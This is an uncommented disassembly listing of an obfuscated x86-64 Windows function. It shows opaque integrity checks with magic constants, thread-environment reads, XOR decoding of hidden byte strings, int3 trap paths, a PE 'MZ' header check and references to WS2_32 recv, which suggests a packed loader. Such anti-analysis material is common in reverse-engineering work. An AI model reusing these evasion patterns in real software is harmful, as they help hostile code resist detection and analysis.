mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002d6cd
add edi, r15d
cmp edi, 7
jl 0x14002d506
lea rcx, [rbp + 0xec0]
call fcn.14003d540
mov r12, rax
mov qword [rsp + 0x60], rax
mov rcx, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rcx, r11
jne 0x14002d6e3
mov rdi, rbx
mov r8d, r14d
mov r14d, 0xa8e3e360
mov r9d, r14d
movabs r11, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002d5f3
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002d5b3
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r10d, 0xdb4576f5
xor rcx, r10
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002d6d8
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002d663
jmp 0x14002d6e9
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov r14d, 0xa8e3e360
movabs r13, 0x5c7dda82ae
test rsi, rsi
je 0x14002d701
test r12, r12
jne 0x14002dae3
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002d82d
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002d725
mov r10d, 0xdb4576f5
xor rdi, r10
mov rcx, rdi
mov eax, 0x8aec58f0
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd20]
and rcx, rdx
mov rax, qword [rbp + 0xd28]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002deec
add edi, r15d
cmp edi, 7
jl 0x14002d7be
movdqa xmm0, xmmword [0x1400f5af0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400f5b90]
movdqu xmmword [rbp + 0xae8], xmm1
movdqa xmm0, xmmword [0x1400f5b40]
movdqu xmmword [rbp + 0xaf8], xmm0
mov byte [rbp + 0xb08], 0x7d
mov byte [rbp + 0xb09], 0xaa
mov byte [rbp + 0xb0a], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb0b], Ordinal_32
mov byte [rbp + 0xb0c], 0xee
mov byte [rbp + 0xb0d], 0xe6
mov byte [rbp + 0xb0e], 0x9e
mov byte [rbp + 0xb0f], 0xdc
mov byte [rbp + 0xb10], 0xc0
mov byte [rbp + 0xb11], 0x64
mov byte [rbp + 0xb12], 0x83
mov byte [rbp + 0xb13], 0x86
mov byte [rbp + 0xb14], 0xff
xor eax, eax
mov byte [rbp + 0xb15], al
mov r8, rbx
mov r9, r13
movabs rsi, 0x8080808080808081
lea r10d, [rax + 0x3d]
movabs r11, 0xb8fbb5055c
movabs r12, 0x184295a46
movabs r14, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
add r8, r15
add r9, r12
add r10, 0x3d
cmp r9, r11
jb 0x14002d8f2
mov byte [rbp + 0xb15], bl
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0xad8]
call fcn.140025168
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp]
mov r14d, 0xa8e3e360
jne 0x14002dae3
mov r10d, 0x51a92e05
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov ebx, 0xdeedfeff
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002d9b1
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002def7
add edi, r15d
cmp edi, 5
jl 0x14002da7b
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002dc10
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002db07
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002df02
add edi, r15d
cmp edi, 7
jl 0x14002dba8
lea rcx, [rbp + 0xec0]
call fcn.14003d540
mov rdi, rax
lea rcx, [rbp + 0xec0]
call fcn.14003d548
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400cfe30
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002dda6
mov r8d, 0x51a92e05
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov ebx, 0xdeedfeff
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r15d
add r10, r15
cmp r9d, 8
jl 0x14002dc75
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r8, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002df0d
add edi, r15d
cmp edi, 5
jl 0x14002dd3e
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002df23
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, r14
movabs r14, 0x2aaaaaaaaaaaaaab
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002de18
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002ddd8
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002df18
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002de82
jmp 0x14002df2d
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
movabs r14, 0x2aaaaaaaaaaaaaab
lea rcx, [rbp + 0xec0]
call fcn.14003d5d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002e0a0
mov r8d, 0x51a92e05
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
mov esi, 0xdb4576f5
mov r12d, 0xdeedfeff
mov rdx, rsi
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
add r9d, r15d
add r10, r15
cmp r9d, 8
jl 0x14002df6b
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
mov edi, ebx
mov r12, qword [rsp + 0x60]
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r11
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002e095
add edi, r15d
cmp edi, 5
jl 0x14002e02f
jmp 0x14002e0a6
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r10d, 0xdeadbeef
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002e1d1
mov rdi, rbx
mov rcx, r15
mov r9d, 5
mov r14d, 0x8aec58f0
mov rax, r14
cqo
idiv rcx
imul rdx, r11
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r15
sub r9, r15
jne 0x14002e0ca
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
mov rax, r14
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r14, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb13
add edi, r15d
cmp edi, 7
jl 0x14002e169
movabs rax, 0xaa3266487a0948
mov qword [rbp - 8], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp - 0x10], rax
mov qword [rbp + 0xe58], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi - 8]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x10]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe58], cl
add rdi, r15
cmp r8d, 8
jb 0x14002e1fa
mov r14d, ebx
test r12, r12
je 0x14002e315
mov rcx, rbx
movabs r13, 0x8080808080808081
mov rax, r13
mul r12
mov r8, rdx
shr r8, 7
add r8b, r12b
mov r9, rsi
and ecx, 7
movzx edi, byte [rbp + rcx + 0xe58]
mov sil, r8b
xor sil, dil
mov r15d, edi
mov r10d, ebx
lea r11, [rbp + 0xe58]
movzx ecx, byte [r11]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xe58]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r10d
inc r11
cmp r10d, 8
jb 0x14002e285
movzx ecx, sil
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc r14d
inc r9
movsxd rcx, r14d
cmp rcx, r12
jb 0x14002e267
movabs r13, 0x5c7dda82ae
mov rsi, qword [rbp]
mov r11d, 0xa8e3e350
mov rax, qword gs:[0x15]
mov r14d, reloc.WS2_32.dll_recv
mov r15d, 0xa8e3e360
lea r12d, [r14 - 0xf]
movabs r10, 0x2aaaaaaaaaaaaaab
cmp rax, r11
jne 0x14002e46f
mov rdi, rbx
mov r8d, r14d
mov r9d, r15d
movabs r11, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002e394
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002e354
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb1e
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002e403
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002e5dc
mov r10d, 0x51a92e05
mov rdi, rbx
mov r8d, ebx
mov r9, r11
movabs rsi, 0x2aaaaaaaaaaaaaab
mov ebx, 0xdeedfeff
mov r13d, 0xdb4576f5
mov rdx, r13
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14002e4a5
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r13, 0x5c7dda82ae
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb29
add edi, r12d
cmp edi, 5
jl 0x14002e574
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002e71c
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r11, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002e641
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002e601
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb34
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002e6b0
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14002eb5f
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002e857
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14002e74e
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb3f
add edi, r12d
cmp edi, 7
jl 0x14002e7ef
movdqa xmm0, xmmword [0x1400f5af0]
movdqu xmmword [rbp + 0xa98], xmm0
movdqa xmm1, xmmword [0x1400f5b80]
movdqu xmmword [rbp + 0xaa8], xmm1
movdqa xmm0, xmmword [0x1400f5b40]
movdqu xmmword [rbp + 0xab8], xmm0
mov byte [rbp + 0xac8], 0x7d
mov byte [rbp + 0xac9], 0xaa
mov byte [rbp + 0xaca], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xacb], Ordinal_32
mov byte [rbp + 0xacc], 0xee
mov byte [rbp + 0xacd], 0xe6
mov byte [rbp + 0xace], 0x9e
mov byte [rbp + 0xacf], 0xdc
mov byte [rbp + 0xad0], 0xc0
mov byte [rbp + 0xad1], 0x64
mov byte [rbp + 0xad2], 0x83
mov byte [rbp + 0xad3], 0x86
mov byte [rbp + 0xad4], 0xff
xor eax, eax
mov byte [rbp + 0xad5], al
mov r8, rbx
mov r9, r13
movabs rsi, 0xb8fbb5055c
lea r10d, [rax + 0x3d]
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
movabs r13, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xa98], dil
add r8, r12
add r9, r15
add r10, 0x3d
cmp r9, rsi
jb 0x14002e91c
mov byte [rbp + 0xad5], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0xa98]
call fcn.140025168
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs r13, 0x5c7dda82ae
mov rsi, qword [rbp]
mov r15d, 0xa8e3e360
jne 0x14002eb55
mov r8d, 0x51a92e05
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs rsi, 0x2aaaaaaaaaaaaaab
mov ebx, 0xdeedfeff
mov r13d, 0xdb4576f5
mov rdx, r13
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
